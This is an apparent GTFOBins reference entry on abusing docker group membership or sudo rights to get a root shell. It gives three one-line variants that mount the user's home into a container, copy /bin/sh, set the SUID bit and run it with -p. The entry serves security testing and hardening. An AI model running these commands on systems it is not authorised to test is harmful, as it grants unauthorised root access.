GTFOBins.github.io/_gtfobins/docker.md

description, functions

description

functions

Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, i.e., being in the `docker` group. This creates a SUID shell in the guest file system. Any other Linux images should work, e.g., `debian`.

execute-interactive sudo-enabled suid-enabled code docker run --rm -v /home/$USER:/h_docs ubuntu \ sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p code sudo docker run --rm -v /home/$USER:/h_docs ubuntu \ sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p code ./docker run --rm -v /home/$USER:/h_docs ubuntu \ sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p